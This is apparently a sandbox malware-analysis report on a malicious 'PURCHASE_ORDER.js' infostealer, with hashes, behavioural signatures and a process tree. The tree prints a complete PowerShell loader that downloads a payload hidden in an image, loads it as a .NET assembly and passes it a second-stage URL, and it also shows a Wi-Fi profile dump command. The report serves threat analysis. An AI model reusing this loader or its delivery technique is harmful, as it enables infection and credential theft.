Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-03-2024 07:59

General

  • Target

    PURCHASE_ORDER.js

  • Size

    16KB

  • MD5

    5173d26d1ad641d21a4e46578c8ce893

  • SHA1

    93fa6b081e5ef1b262b2497be0ec7ec8be766c20

  • SHA256

    e8c22513e962d944212a2570a29a43fd2e6e90d74913f5db2b5f11443504db1d

  • SHA512

    8df3b7d0c5b41675eaae029688c1cf964d58b66c558e16a528d143c3559d60dfcf4da5c44cb7b112a9123e7dc49e460e99cf862f6b743e1691804f78b89b349c

  • SSDEEP

    192:P42HOwZ0qshWZ7Va6uadY7Va630PpMx2GjdJZu8HheVkiVUT:P42HO+0ApuPEP+28M8HheWz

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PURCHASE_ORDER.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.4848/541.93.321.39//:ptth' , 'desativado' , 'C:\Windows\Temp\' , 'File_Name_JS'))}}
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2116
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
          PID:3276
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Accesses Microsoft Outlook profiles
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:1884
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2732
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              5⤵
                PID:2548
              • C:\Windows\SysWOW64\netsh.exe
                netsh wlan show profile
                5⤵
                  PID:720
                • C:\Windows\SysWOW64\findstr.exe
                  findstr All
                  5⤵
                    PID:2872
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4072 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:8
            1⤵
              PID:4300
            • C:\Windows\system32\msiexec.exe
              C:\Windows\system32\msiexec.exe /V
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4432

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ku2ckqq2.s0z.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/1884-39-0x0000000006F80000-0x0000000007142000-memory.dmp

              Filesize

              1.8MB

            • memory/1884-63-0x0000000005D00000-0x0000000005D76000-memory.dmp

              Filesize

              472KB

            • memory/1884-34-0x0000000074BF0000-0x00000000753A0000-memory.dmp

              Filesize

              7.7MB

            • memory/1884-94-0x0000000074BF0000-0x00000000753A0000-memory.dmp

              Filesize

              7.7MB

            • memory/1884-35-0x0000000004D10000-0x0000000004D20000-memory.dmp

              Filesize

              64KB

            • memory/1884-92-0x0000000007150000-0x000000000767C000-memory.dmp

              Filesize

              5.2MB

            • memory/1884-91-0x0000000004D10000-0x0000000004D20000-memory.dmp

              Filesize

              64KB

            • memory/1884-36-0x00000000053E0000-0x00000000054C6000-memory.dmp

              Filesize

              920KB

            • memory/1884-90-0x0000000074BF0000-0x00000000753A0000-memory.dmp

              Filesize

              7.7MB

            • memory/1884-28-0x0000000000400000-0x000000000041A000-memory.dmp

              Filesize

              104KB

            • memory/1884-64-0x0000000005E60000-0x0000000005EF2000-memory.dmp

              Filesize

              584KB

            • memory/1884-33-0x0000000000400000-0x000000000041A000-memory.dmp

              Filesize

              104KB

            • memory/1884-61-0x0000000007700000-0x0000000007CA4000-memory.dmp

              Filesize

              5.6MB

            • memory/1884-38-0x00000000063C0000-0x00000000063D2000-memory.dmp

              Filesize

              72KB

            • memory/1884-37-0x0000000005660000-0x00000000056C6000-memory.dmp

              Filesize

              408KB

            • memory/2116-26-0x00000221D0910000-0x00000221D0920000-memory.dmp

              Filesize

              64KB

            • memory/2116-17-0x00000221D08E0000-0x00000221D0902000-memory.dmp

              Filesize

              136KB

            • memory/2116-31-0x00007FF9E9B60000-0x00007FF9EA621000-memory.dmp

              Filesize

              10.8MB

            • memory/2116-27-0x00000221F95B0000-0x00000221F9AFC000-memory.dmp

              Filesize

              5.3MB

            • memory/2116-25-0x00000221D0910000-0x00000221D0920000-memory.dmp

              Filesize

              64KB

            • memory/2116-24-0x00007FF9E9B60000-0x00007FF9EA621000-memory.dmp

              Filesize

              10.8MB

            • memory/2856-9-0x00007FF9E9C00000-0x00007FF9EA5A1000-memory.dmp

              Filesize

              9.6MB

            • memory/2856-13-0x00007FF9E9C00000-0x00007FF9EA5A1000-memory.dmp

              Filesize

              9.6MB

            • memory/2856-11-0x00007FF9E9C00000-0x00007FF9EA5A1000-memory.dmp

              Filesize

              9.6MB

            • memory/2856-10-0x000001CFB4F80000-0x000001CFB4F90000-memory.dmp

              Filesize

              64KB